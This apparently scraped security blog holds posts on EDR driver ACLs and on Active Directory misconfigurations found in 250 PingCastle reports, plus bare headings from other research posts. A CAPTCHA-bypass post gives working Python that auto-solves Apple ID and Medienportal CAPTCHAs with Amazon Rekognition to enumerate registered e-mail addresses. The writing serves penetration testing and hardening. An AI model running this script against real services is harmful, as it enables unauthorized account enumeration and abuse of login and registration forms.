2.5 Why are some of the EDR driver interfaces accessible for low privileged users at all?

Verifying the access control lists (ACLs) of driver interfaces is a fundamental check in penetration testing, one that, ideally, all vendors should conduct at some stage. It is very likely that, in some instances, ACLs are intentionally set to be broadly accessible. Windows APIs typically offer functionalities to restrict privilege levels for specific device objects. One such example is using IoCreateDeviceSecure with an explicit security identifier as an argument, or alternatively using IoCreateDevice and specifying the security identifier within the INF file.

Why, then, are these ACLs not more restrictive? During kernel debugging of the driver, we observed that IOCTLs are invoked from various user-space processes. EDRs often employ an architecture where an injected DLL from the EDR agent communicates directly with the driver via IOCTLs on behalf of the injected process. Because these injected processes are frequently low-privileged (e.g., word.exe), the driver cannot enforce security restrictions based solely on the process's privilege level. We've never implemented an EDR and we don't have enough details to judge this, but we don't think that this is the most secure approach. Indeed, several EDR solutions do not adopt this practice.

Following the process described in the previous sections, there are candidates with open ACLs for the driver interfaces:

PaloAlto Cortex XDR
Sophos Intercept X

The results are described in Part 2

Tear Down The Castle - Part 2

Stephan Berger — Thu, 23 Jan 2025 09:04:20 GMT

:::note This article was first published on dfir.ch :::

This is the second part of a two-part series about Active Directory security. Read the first part here.

To gain insight into common issues and patterns of misconfiguration, we analyzed 250 PingCastle reports collected from Incident Response cases and Compromise Assessments. We indicate how many of the 250 domains checked were affected by the finding (Affected Domains: N/250).

PingCastle is a popular tool for auditing the security of Active Directory environments, pinpointing vulnerabilities, and offering actionable recommendations for improvement. We are following along The Ten AD Commandments, mapping every point to the corresponding PingCastle finding(s).

6. Privileges

6.1 - Introduction

PingCastle lists, among many other things, the privileges assigned to domain users via GPOs. Figure 1 shows that the Default Notebook Policy grants Domain Users the SeLoadDriverPrivilege privilege.

Figure 1: SeLoadDriverPrivilege

Why is this bad? As @0xdf put it: If I can load a driver, I can load a vulnerable driver and then exploit it. [1] I am aware that some Endpoint Detection and Response (EDR) solutions generate alerts when a vulnerable driver is loaded or written to disk, as such drivers can be exploited for Local Privilege Escalation (LPE).

Figure 2: If I can load a driver, I can load a vulnerable driver and then exploit it.

Excerpt from a Volexity blog post: A userland application cannot modify kernel memory, so the malware authors include a vulnerable driver, RTCore64.sys, to read and write into this protected memory space. A public GitHub repository, KDU, owned by hFiref0x, documents a list of drivers that can be abused for this Bring Your Own Vulnerable Driver (BYOVD) technique.

6.2 - Findings

6.2.1 - Ensure that dangerous privileges are not granted to everyone by GPO

The purpose is to ensure that standard users are not granted dangerous privileges. The SeLoadDriverPrivilege presented above is one of many dangerous privileges. Thomas Roccia (fr0gger) has compiled a list of Windows privileges (Figure 3).

Figure 3: Windows Privileges

Figure 4 shows a snippet from a Default Domain Policy, granting Èveryone the SeBackupPrivilege.

Figure 4: SeBackup

Affected Domains: 13/250

6.3 - References & Tools

https://www.volexity.com/blog/2023/03/07/using-memory-analysis-to-detect-edr-nullifying-malware/
https://0xdf.gitlab.io/2020/10/31/htb-fuse.html
https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391
https://speakerdeck.com/fr0gger/windows-privileges

7. Harden critical accounts

7.1 - Introduction

Add critical accounts to the Protected Users Security Group to raise the bar for a successful attack against your network. This group provides protections over and above just preventing delegation and makes them even more secure; however, it may cause operational issues, so it is worth testing in your env.

Benefits of using the Protected Users Security Group:

Credential delegation (CredSSP) will not cache the user's plain text credentials [..]
Beginning with Windows 8.1 and Windows Server 2012 R2, Windows Digest will not cache the user's plain text credentials even when Windows Digest is enabled.
NTLM will not cache the user's plain text credentials or NT one-way function (NTOWF).
Kerberos will no longer create DES or RC4 keys. Also, it will not cache the user's plain text credentials or long-term keys after the initial TGT is acquired.

Accounts that are members of the Protected Users group that authenticate to a Windows Server 2012 R2 domain are unable to:

✅ Authenticate with NTLM authentication. ✅ Use DES or RC4 encryption types in Kerberos pre-authentication. ✅ Be delegated with unconstrained or constrained delegation. ✅ Renew the Kerberos TGTs beyond the initial four-hour lifetime.

:::warning{title="A word of advice"} Accounts for services and computers should never be members of the Protected Users group. This group provides incomplete protection anyway, because the password or certificate is always available on the host. :::

7.2 - Findings

7.2.1 - At least one member of an admin group is vulnerable to the Kerberoast attack

To access a service using Kerberos, a user requests a ticket (named TGS) to the DC specific to the service. This ticket is encrypted using a derivative of the service password, but can be brute-forced to retrieve the original password. Any account having the attribute SPN populated is considered as a service account. Given that any user can request a ticket for a service account, these accounts can have their password retrieved. In addition, services are known to have their password not changed at a regular basis and to use well-known words.

Affected Domains: 95/250

7.2.2 - Check the use of Kerberos with weak encryption (DES algorithm)

The purpose is to verify that no weak encryption algorithm such as DES is used for accounts. DES is a very weak algorithm and once assigned to an account, it can be used in Kerberos ticket requests, even though it is easily cracked. If the attacker cracks the Kerberos ticket, they can steal the token and compromise the user account.

Affected Domains: 103/250

7.2.3 - Check for the number of Administrator accounts above the baseline

The purpose is to verify if the number of administrator accounts is not disproportionate. Very few users should have domain admin accounts.

Affected Domains: 51/250

7.2.4 - At least one administrator account can be delegated

The purpose is to ensure that all Administrator Accounts have the configuration flag "this account is sensitive and cannot be delegated" (or are members of the built-in group "Protected Users" when your domain functional level is at least Windows Server 2012 R2).

Affected Domains: 232/250

7.3 - References & Tools

https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group
https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/total-identity-compromise-microsoft-incident-response-lessons-on-securing-active/3753391

8. Print Spooler Service

8.1 - Introduction

A running print spooler service on domain controllers is still a relatively common finding in our Active Directory assessments, even though an attack path via spooler service and unconstrained delegations have been known for years.

Figure 5: The spooler service is remotely accessible

Apart from the (older) attack technique with unconstrained delegations (see above), the printer spooler has had various critical vulnerabilities over the last two years.

Figure 4: Printer Spooler vulnerability

In one of our Incident Response investigations, the attacker attempted to exploit the PrintNightmare (CVE-2021-34527) vulnerability. PrintNightmare can be used for Local Privilege Escalation as well as Remote Code Execution, as the screenshot below shows.

Figure 5: PrintNightmare

Disable the print spooler service on domain controllers if possible to reduce the attack risk in case of an active attacker in the network. Additionally, the corresponding Windows patches (as an example for the LPE via PrintNightmware) must be rolled out and installed quickly across the board.

8.2 - Findings

8.2.1 - Ensure that the Print Spooler service cannot be abused to get the DC credentials

When there's an account with unconstrained delegation configured (which is fairly common) and the Print Spooler service running on a computer, you can get that computers credentials sent to the system with unconstrained delegation as a user. With a domain controller, the TGT of the DC can be extracted allowing an attacker to reuse it with a DCSync attack and obtain all user hashes and impersonate them.

Affected Domains: 140/250

8.3 - References & Tools

https://adsecurity.org/?p=4056
https://github.com/m8sec/CVE-2021-34527
https://www.cisa.gov/known-exploited-vulnerabilities-catalog

9. Easy Wins (for Attackers)

9.1 - Introduction

To wrap up this two-part series, here are more points you should focus on to better defend your networks.

9.2 - Findings

9.2.3 - Obsolete Domain Controller

The purpose is to ensure that there is no use of the obsolete and vulnerable OS Windows Server 20[03|08|12] as Domain Controller within the domain.

DC-2003 Affected Domains: 3/250

DC-2008 Affected Domains: 21/250

DC-2012 Affected Domains: 10/250

9.2.4 - Number of accounts that do not require Kerberos pre-authentication

Without Kerberos pre-authentication, an attacker can request Kerberos data from the domain controller and use this data to crack the account password.

Check if all accounts require Kerberos pre-authentication Affected Domains: 19/250

Check if all admin accounts require Kerberos pre-authentication Affected Domains: 4/250

9.2.5 - DC's have been found where the owner is not in the Domain Admins group or the Enterprise Admin group

By default, the "Domain Administrators" group or the "Enterprise Administrators" group are set as owners for "Domain Controllers". Nonetheless, in some cases (for instance when the server has been promoted from an existing server), the owner can be a non-admin person which joined the server to the domain. If this person has still rights over this account, it can be used to take ownership over the whole domain. A chain of compromising events can be designed to take control of the domain by including this account.

Affected Domains: 42/250

9.2.6 - DC vulnerability (MS17-010)

The purpose is to verify if Domain Controller(s) are vulnerable to the MS17-010 vulnerability.

Affected Domains: 2/250

9.2.7 - Check if a GPO assigns everyone to a local group

The purpose is to identify if there are local groups such as local administrators, terminal server access, where Authenticated Users or Everyone is being granted access by a GPO. It is possible that a GPO adds local membership using a GPO. In this case the rule triggers if one is found with "Everyone" or "Authenticated Users" or "Domain Users", ... as members. It basically means that the local Group has no restriction on belongs to it. This represents a security risk as Local Group are supposed to have more accesses or rights.

Figure 6: LocalAdmins

Affected Domains: 9/250

9.3 - References & Tools

https://cube0x0.github.io/Pocing-Beyond-DA/
https://www.infosecmatter.com/top-16-active-directory-vulnerabilities/
https://blog.nviso.eu/2023/10/26/most-common-active-directory-misconfigurations-and-default-settings-that-put-your-organization-at-risk/
https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise

10. Conclusion

Keeping an Active Directory (AD) secure takes effort, careful planning, and a good understanding of how attackers might try to break in. After looking at 250 PingCastle reports, we found that many organizations still have common mistakes and outdated setups that make them easy targets. Problems like giving users too many privileges, not securing important accounts, misconfiguring services like the Print Spooler, and ignoring relaying vulnerabilities give attackers the chance to take over entire systems.

Tear Down The Castle - Part 1

Stephan Berger — Sun, 19 Jan 2025 02:04:20 GMT

:::note This article was first published on dfir.ch :::

Introduction

In the realm of IT infrastructure, Active Directory (AD) serves as a crucial backbone, enabling organizations to manage users, devices, and resources efficiently. However, given its central role, it also presents a significant security target, and maintaining its integrity is paramount. Misconfigurations and overlooked security gaps in AD can expose an organization to critical vulnerabilities, leading to potential breaches, data theft, and system downtime.

1. ADCS (Active Directory Certificate Services

1.1 - Introduction

Figure 1: Certified Pre-Owned

The whitepaper Certified Pre-Owned: Abusing Active Directory Certificate Services by Will Schroeder and Lee Christensen introduced new attack vectors and techniques for gaining domain administrative rights through Active Directory Certificate Services (AD CS). Their research demonstrates how attackers—and defenders—can leverage the Certify tool, developed by SpecterOps, to discover and exploit vulnerable certificates within a network. Below is an excerpt showcasing an example of a vulnerable certificate, sourced from ired.team.

Figure 2: Vulnerable certificate

In the screenshot above, the presence of ENROLLEE_SUPPLIES_SUBJECT indicates that a user requesting a certificate based on this template can specify any subject, including domain administrators. This means attackers could potentially request certificates impersonating high-privilege accounts. 🤯 Additionally, the Client Authentication setting under PkiExtendedKeyUsage allows the certificate created from this template to be used for authentication against machines within Active Directory, effectively granting access across the network.

With the Enrollment Rights set to NT Authority\Authenticated Users, any authenticated user in the domain has the ability to generate a new certificate based on this template. For an in-depth analysis of these vulnerabilities, additional details are available here.

Once the vulnerable certificate template has been identified, we can request a new certificate on behalf of a domain administrator using Certify. [..] Once we have the certificate in cert.pfx, we can request a Kerberos TGT for the user for which we minted the new certificate. (Source: ired.team)

Figure 3: Rubeus - Requesting a Kerberos TGT

In a nutshell - it's practically game over at this point. While this overview covers some of the main attack vectors, there are numerous other techniques targeting vulnerable certificates (as detailed in the original SpecterOps whitepaper), and ongoing research continues to uncover new threats in this area.

Discussions with customers show that awareness of these risks is still alarmingly low among administrators and IT security professionals. This underscores the urgent need for better education and more proactive security measures.

1.2 - Findings

1.2.1 - At least one certificate template can be modified by anyone

A certificate template is an object whose definition serves as a base to issue certificates. If a user has the right to edit it, it can manually change obscure attributes such as msPKI-Certificate-Name-Flag. Doing so will enable him to provide the subject of the certificate and thus having a certificate on behalf other users such as admins. It can be used to impersonate them and take control of the domain.

Affected Domains: 19/250

1.2.2 - At least one certificate used for authentication can have it's subject modified when being used

Usually, the subject of a certificate is generated automatically by the certification authority. By allowing editing before its issuance, a malicious user can set the subject to an administrator account, and thus get a certificate representing them. This certificate can be abused later to impersonate them.

Figure 4: PingCastle ADCS check

Affected Domains: 24/250

1.3 - References & Tools

https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/
https://m365internals.com/2022/11/07/investigating-certificate-template-enrollment-attacks-adcs/
https://blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/
https://services.google.com/fh/files/misc/active-directory-certificate-services-hardening-wp-en.pdf
https://github.com/jakehildreth/Locksmith

2. Service Accounts

2.1 - Introduction

We frequently discover service accounts configured with excessive privileges during our Active Directory assessments and incident response engagements. In many instances, these accounts are assigned elevated permissions, such as membership in the Domain Administrators group—far exceeding what is necessary for their intended purpose. This overprovisioning represents a significant security risk.

The problem is compounded when these service accounts are protected with weak or easily guessable passwords. Given their elevated privileges, these accounts become prime targets for attackers. If compromised, they can grant unauthorized access to critical systems, facilitate lateral movement within the network, and potentially lead to a complete domain compromise.

Additionally, service accounts often fall outside the scope of regular monitoring and password management policies applied to user accounts. Many have non-expiring passwords, leaving them increasingly vulnerable over time. Attackers can exploit these gaps to establish persistent access, evade detection, and circumvent response efforts, further magnifying the security threat.

Figure 5: Service account, which is part of the Domain Admin group

2.2 - Findings

2.2.1 - No password policy for service accounts found

The purpose is to give information regarding a best practice for the Service Account password policy. Indeed, having a 20+ characters password for this account greatly helps reducing the risk of Kerberoasting attacks (offline cracking of the TGS tickets)

Affected Domains: 240/250

2.2.2 - Check if Service Accounts (aka accounts with never expiring password) are domain administrators

The purpose is to check for accounts with non-expiring passwords in the "Domain Administrator" group PingCastle is checking accounts with never expiring password, that are mostly used as service accounts. "Service Accounts" can imply a high security risk as their password are stored in clear text in the LSA database, which can then be easily exploited using Mimikatz or Cain&Abel for instance. In addition, their passwords don't change and can be used in Kerberoast attacks.

Affected Domains: 158/250

2.2.2 - Admin Accounts are Kerberoastable

The purpose is to ensure that the password of admin accounts cannot be retrieved using the Kerberoast attack. To access a service using Kerberos, a user requests a ticket (named TGS) to the DC specific to the service. This ticket is encrypted using a derivative of the service password, but can be brute-forced to retrieve the original password. Any account having the attribute SPN populated is considered as a service account. Given that any user can request a ticket for a service account, these accounts can have their password retrieved. In addition, services are known to have their password not changed at a regular basis and to use well-known words.

Affected Domains: 95/250

2.3 - References & Tools

https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391
https://www.synacktiv.com/publications/a-dive-into-microsoft-defender-for-identity.html
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-managed-service-accounts/group-managed-service-accounts/group-managed-service-accounts-overview

3. Passwords

3.1 - Introduction

In our incident response cases, we frequently encounter local administrator accounts or accounts within the local administrator group that are secured with weak passwords—making them prime targets for lateral movement.

Also, regularly review the properties of Active Directory objects, paying particular attention to the description field, as it may inadvertently contain sensitive information such as passwords.

Figure 6: Querying the user properties

LAPS is the Microsoft solution to automatically manage the password for the built-in Administrator account on Windows devices. When machines are built or imaged, they often have the same password for the built-in Administrator account. If this is never changed, a single password can give local administrative rights to all machines and may provide opportunities for lateral movement. LAPS solves this problem by ensuring each device has a unique local administrator password and rotates it regularly. - Total Identity Compromise: Microsoft Incident Response lessons on securing Active Directory

3.2 - Findings

3.2.1 - Obfuscated Passwords

PingCastle attempts to identify passwords stored in GPOs. If PingCastle was able to retrieve a password, attackers can also obtain it and so the account should be considered compromised. Note that Microsoft published the AES key used to encrypt passwords in GPOs, which is why even an encrypted password is insecure.

Figure 7: Obfuscated passwords

As seen in the wild: One notable TTP observed by APT29 was the hunting for passwords stored in SYSVOL. This technique relies on passwords that are stored as part of Group Policy Preferences. - Trello From the Other Side: Tracking APT29 Phishing Campaigns

Affected Domains: 47/250

3.2.2 - Presence of accounts with non-expiring passwords in the domain admin group

Some accounts have passwords which never expire. Should an attacker compromise one of these accounts, he would be able to maintain long-term access to the Active Directory domain.

Affected Domains: 245/250

3.2.3 - Number of admin with a password older than 3 years

The purpose is to ensure that all admins are changing their passwords at least every 3 years

Affected Domains: 198/250

3.2.4 - Number of accounts that can have an empty password

An account can be set without a password if it has the flag "PASSWD_NOTREQD" set as "True" in the "useraccountcontrol" attribute. This represents a high security risk as the account is not protected at all without a password

Affected Domains: 110/250

4. PowerShell Script Block Logging

4.1 - Introduction

Strictly speaking not part of a guide about hardening Active Directory, but I must stress once again the importance of logging executed PowerShell code on clients and servers. In the year's "Year in Review" (2022) of TalosSecurity, PowerShell's Invoke-Expression is listed as number 1 of the most alerted Behavioral Protection signatures (see references below).

Figure 8: PowerShell Invoke-Expression

4.2 - Findings

4.2.1 - The PowerShell audit configuration is not fully enabled

PowerShell is a powerful language, also used by hackers because of this quality. Hackers are able to run programs such as mimikatz in memory using obfuscated commands such as Invoke–Mimikatz. Because there is no artefact on the disk, the incident response task is difficult for the forensic analysts. For this reason, we recommend to enable PowerShell logging via a group policy, despite the fact that these security settings may be part of the workstation or server images.

Affected Domains: 231/250

4.3 - References & Tools

https://x.com/malmoeb/status/1627214815012716546
https://www.calcomsoftware.com/ensure-turn-on-powershell-script-block-logging-is-set-to-disabled/
https://blog.talosintelligence.com/talos-year-in-review-2022/
https://www.splunk.com/en_us/blog/security/hunting-for-malicious-powershell-using-script-block-logging.html
https://github.com/search?q=repo%3Aelastic%2Fdetection-rules+powershell.file.script_block_text+language%3ATOML&type=code&l=TOML

5. Add Computers to the Domain

5.1 - Introduction

A customer called us because he discovered two new computers within his computer objects that did not match his naming scheme.

Figure 9: SAMTHEADMIN computer object

During the detailed investigation of the incident, it turned out that these SAMTHEADMIN objects were part of an exploit code that (if successful) would give administrative rights to a standard domain user.

Figure 10: sam-the-admin exploit

In addition to the exploit presented above, various other attack techniques rely on the fact that an unprivileged user can create new computer objects within the domain. The best way to prevent such attacks is to remove this privilege from all users on the network and only explicitly assign it to a particular group (supporters, IT administrators, etc.).

Ping Castle also checks the value of MachineAccountQuota and outputs a corresponding finding if the value is < 0. This default configuration represents a security issue as regular users shouldn't be able to create such accounts, and administrators should handle this task.

5.2 - Findings

5.2.1 Non-admin users can add up to 10 computers to the domain

By default, a basic user can register up to 10 computers within the domain. This default configuration represents a security issue as basic users shouldn't be able to create such accounts and this task should be handled by administrators.

Affected Domains: 171/250

5.3 - References & Tools

https://github.com/Ascotbe/Kernelhub/blob/e55eb366bab445539ff16c63d3831ed4af91c92f/Windows/CVE-2021-42287/sam-the-admin/sam_the_admin.py#L4
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

Breaking CAPTCHAs with image recognition

Mario Bischof — Sat, 09 Sep 2023 00:00:00 GMT

:::important{title="TL;DR"} Do you still mark some pentesting-checks as "info" after encountering an alphanumeric CAPTCHA? Have you ever been annoyed you could not automate certain enumeration tasks during a red team engagement because of this PITA thing? This article explains how image recognition services can be used to bypass (i.e. auto-solve) classical alphanumeric CAPTCHAs. On the examples of Apple-ID and Medienportal we explain the details step-by-step and conclude with very simple but working python-code. :::

Introduction

CAPTCHA or Completely Automated Public Turing test to tell Computers and Humans Apart is a term for techniques to prevent parts of an application from being automatically (mis-)used by robots. Typically (but not exclusively), registration or login forms are protected by this to prevent the bulk-creation of fake user accounts or brute forcing of logins. Although the idea of using machine learning for text recognition in CAPTCHAs is nothing new, public AI as a service (AIaaS) models have gotten ever more powerful and extremely cheap to use (e.g. 0.001$/img). It is even more perplexing that alphanumeric CAPTCHAs, meaning letters and numbers that need to be optically recognized, are still widely used by a lot of companies, including big tech giants like Apple. In the following, we demonstrate how alphanumeric CAPTCHAs can be solved programmatically using image recognition. We explain the approach step- by-step from identifying the problem to a working bypass. For our code examples we mainly use the python requests library and the text detection engine of Amazon Rekognition, but any programming language and service may be used.

Use cases

Apple-ID

iforgot.apple.com/password/verify/appleid

If you forget the password of your apple-ID, you can reset it via the website iforgot.apple.com/password/verify/appleid. However, to prevent this function from being excessively used, Apple does prompt the user to input the characters shown in an adjacent image. Usually, this "text" is intentionally visually altered by overlapping characters or introducing additional noise like lines or patterns to make it harder for AI to recognize its correct meaning. The difficulty to recognize these characters varies greatly from each image to the next and there is usually no limitation on how often a new challenge can be requested, posing ideal conditions for automation.

If the website is investigated more closely we can identify two relevant web-calls: First, a GET when clicking on "Neuer Code", which retreives a new CAPTCHA image and second, the POST call made when clicking on "Weiter" which submits the form and validates the CAPTCHA input. It is important to note that the mapping of a CAPTCHA instance to the user session is done using the session cookies. Our code starts by calling the initial website iforgot.apple.com/password/verify/appleid containing the form and storing its session cookies which we need later for requesting and validating CAPTCHAs:

headers = {'Content-Type': 'application/json', 'Accept': 'application/json,
text/javascript, */*; q=0.01','Accept-Language':
'de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7',"User-Agent": "Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/500.36 (KHTML, like Gecko) Chrome/99.0.0.74
Safari/537.0"}
response = requests.get('https://iforgot.apple.com/password/verify/appleid',
headers=headers)
cookies = response.cookies

The request of a CAPTCHA image with iforgot.apple.com/captcha?captchaType=IMAGE returns a Base64 encoded image payload, a token and an id in JSON. We save the image to a file and store the rest in variables. The image is sent to Amazon Rekognition as bytes using detect_text(), which returns an array of detected texts in response['TextDetections']. Since (hopefully) only one text object was detected, it is sufficient to just access the first element.

:::note To use Amazon Rekognition, a valid aws_access_key_id and aws_secret_access_key need to be defined in ~/.aws/credentials. See here for more info. rek_client = boto3.client('rekognition', region_name='us-west-2') :::

while True:
    response =
requests.get('https://iforgot.apple.com/captcha?captchaType=IMAGE',
headers=headers, cookies=cookies)
    captcha_payload = response.json()["payload"]["content"]
    captcha_token = response.json()["token"]
    captcha_id = response.json()["id"]
    file_name = 'data/decoded_image.jpg'
    base64_img_bytes = captcha_payload.encode('utf-8')

    with open('./data/decoded_image.jpg', 'wb') as file_to_save:
        decoded_image_data = base64.decodebytes(base64_img_bytes)
        file_to_save.write(decoded_image_data)

    with open(file_name, 'rb') as im:
        im_bytes = im.read()
        response = rek_client.detect_text(Image={'Bytes': im_bytes})
        textDetections = response['TextDetections']

        if response['TextDetections'] is not None:
            captcha_answer = str(textDetections[0]['DetectedText']).replace(' ',
 '')
        else:
            captcha_answer = ''
            continue

Using the supposed CAPTCHA answer, the id and the token, we craft the POST request to https://iforgot.apple.com/password/verify/appleid for validation. If the answer was not valid, the response contains captchaAnswer.Invalid, so the absence of this string means success.

Since in this scenario the response of a successful form-submission does reveal if a given e-mail address is NOT a valid apple-ID, we can craft a simple user enumeration check by looking for the string appleIdNotSupported:

json = {"id": email,"captcha":{"id":captcha_id, "answer":captcha_answer,
"token":captcha_token}}
response = requests.post('https://iforgot.apple.com/password/verify/appleid',
headers=headers, cookies=cookies, json=json)

captcha_failed_string = 'captchaAnswer.Invalid'

if not captcha_failed_string in str(response.content):
    if 'appleIdNotSupported' in str(response.content):
        print('e-mail ' + email + ' not registered')
    else:
        print('e-mail ' + email + ' registered')
    break

Because we can request an arbitrary number of CAPTCHA images, we can just continously repeat this process until a correct guess is made. As shown in the following, Amazon's model guesses many of the images correctly and not many attempts are needed on average until a valid answer is found: Label detection of Apple CAPTCHAs

We can now use our CAPTCHA bypass to run an automated user enumeration check on Apple-IDs:

Medienportal

We now investigate a second but similar example. The registration form of the Medienportal also uses an alphanumeric CAPTCHA. This time, a lot of visual strikethrough and magnifier effects are used to complicate text detection.

We again identify a GET request https://medien.***.ch/c/portal/captcha/get_image?portletId=com_liferay_login_web_portlet_LoginPortlet&t=168008376454 which gets/refreshes a CAPTCHA image and a POST request via "Speichern"-Button, which submits the whole form and validates the CAPTCHA text. The mapping of a CAPTCHA instance to the user session is again done via session cookies.

Although the visual obfuscation strategy in this case is somewhat different to the first example, the model is again very effective in detecting the correct contents:

The implementation is almost identical to Apple-ID, with some small differences in the form-submission. We again perform user enumeration as a practical automation example. Since we target the registration form and we do not want to create a new user account for a non-existing e-mail, we intentionally leave away essential information like zipCode, city, street, etc. This way, the registration form will always fail but it still reveals if a given e-mail address is registered.

:::note To achieve user enumeration in the case of the registration form, the order of input validation is exploited. If the form would validate each field before confirming the e-mail address' existence, our strategy of blank-submitting fields would not work. However, not giving away ANY information AT ALL would of course be the expected (secure) behavior of a form. ::: This time, the data is sent as standard POST body instead of JSON. We loop through this process and look for the absence of a captcha_failed_string until we have a correct guess:

headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Origin':
'https://medien.***.ch'}
safe_string_email = urllib.parse.quote_plus(email)
safe_string_captcha = urllib.parse.quote_plus(captcha_answer)
data_body =

"\_com_liferay_login_web_portlet_LoginPortlet_formDate=&\_com_liferay_login_web_portlet_LoginPortlet_saveLastPath=false&[...]&\_com_liferay_login_web_portlet_LoginPortlet_street=&\_com_liferay_login_web_portlet_LoginPortlet_phone=&\_com_liferay_login_web_portlet_LoginPortlet_mobile-phone=&\_com_liferay_login_web_portlet_LoginPortlet_emailAddress="

- safe_string_email +

"&_com_liferay_login_web_portlet_LoginPortlet_password1=Super1234!&_com_liferay_login_web_portlet_LoginPortlet_password2=Super1234!&_com_liferay_login_web_portlet_LoginPortlet_captchaText="
 + safe_string_captcha +
"&_com_liferay_login_web_portlet_LoginPortlet_checkboxNames=&p_auth=43F3MwwF"
response = session.post(submit_url, headers=headers, cookies=cookies,
data=data_body)

captcha_failed_string = 'fung fehlgeschlagen'

if not captcha_failed_string in str(response.content):
    if 'Die angegebene E-Mail-Adresse ist schon vergeben.' in
str(response.content):
        print('e-mail ' + email + ' registered')
    else:
        print('e-mail ' + email + ' not registered')
    break

We again use our second CAPTCHA bypass to run an automated user enumeration check on Medienportal accounts:

Summary

As demonstrated in this article, alphanumeric CAPTCHAs can be easily bypassed using any image recognition provider. There is neither a need for specific tooling nor complex technical know how and a custom bypass can be scripted in just a few lines of code. Bypassing alphanumeric CAPTCHAs is fast, cheap and can be heavily scaled. The still very wide adoption of this technique to prevent bots/automation is therefore quite baffling to see and the staggering progress in artificial intelligence additionally worsens the situation.

So what should we do with alphanumeric CAPTCHAs? Our conclusion is that they are not realiable and secure at all and should not be used anymore, especially not to protect functionality that might be relevant for the security/privacy of a system. There are more advanced automation prevention solutions such as Googles reCAPTCHA or cloudflare, which are significantly harder to bypass. But even imposing some basic restrictions (and ultimately bans) on the possible number of calls to the challenge image refresh function for more classical CAPTCHAs could yet greatly reduce the possibilities for automation.

InfoGuard Labs

SeppMail Secure E-Mail Gateway: Critical RCE and LFI Vulnerabilities

TL;DR

Introduction

Overview

CVE-2026-2743: File Upload Path Traversal to RCE in Exposed Web UI

The Primary Vulnerability: Unsanitized Path Traversal

Chaining to RCE

The Trigger: newsyslog

Full PoC Request

Impact

GINA V2: A Fully Functional Web Shell

CVE-2026-44128: Perl Injection

CVE-2026-44127: Preview any file and delete its folder

CVE-2026-7864: Debug Features

Disclosure Timeline

Conclusion

BravoX - The new Kids on the Block

Attack Chain

Initial Access

Reconnaissance

Credential Access/Privilege Escalation

Lateral Movement

Persistence

Defense Evasion

Exfiltration

Impact

Negotiation & Extortion

Recommendations

Conclusion

Indicators of Compromise (IOCs)

Mitre ATT&CK Mapping

Slithering Through the Noise - Deep Dive into the VIPERTUNNEL Python Backdoor

Introduction

Analysis of b5yogiiy3c.dll

Layers of obfuscation

The Final Stage

Further Hunting

Attribution

Same Obfuscation, different samples

Clustering

Early Development

Adoption of public Tooling

Refinement & Debugging

Modern Production Variant

Hunting infrastructure

Analysing the Infrastructure

Conclusion

Further References

Indicators of Compromise

Command & Controller Servers

Yara Rules

Hashes

Decrypting and Abusing Predefined BIOCs in Palo Alto Cortex XDR

Summary

Introduction

Finding and Decrypting the Rules

Getting Plaintext Rules

Getting Decryption Keys

Abusing Exceptions and Whitelists

Disclosure Timeline

Analysing the Fix

Conclusion

Abusing Cortex XDR Live Terminal as a C2

TL;DR

Introduction

Research Setup: Analyzing network traffic

Decompiling cortex-xdr-payload.exe

Analyzing Live Terminal Network Traffic

Abusing Live Terminal as C2

Method 1: Cross-Tenant

Method 2: Creating a Custom Server

Prevention Rules

Detection

Disclosure Timeline

Conclusion

CLRaptor: Hunting reflected assemblies with Velociraptor

Background: .NET and the CLR

Background: Reflection

Capability 1: Windows.Detection.ReflectedAssemblies

The Trigger: `newsyslog`

Decompiling `cortex-xdr-payload.exe`

Intercept `Commands` (Authentication Bypass and Spoofing Data)

Intercept `Actions` (Authentication Bypass and Spoofing Data)

3. How to fuzz `mpengine.dll`?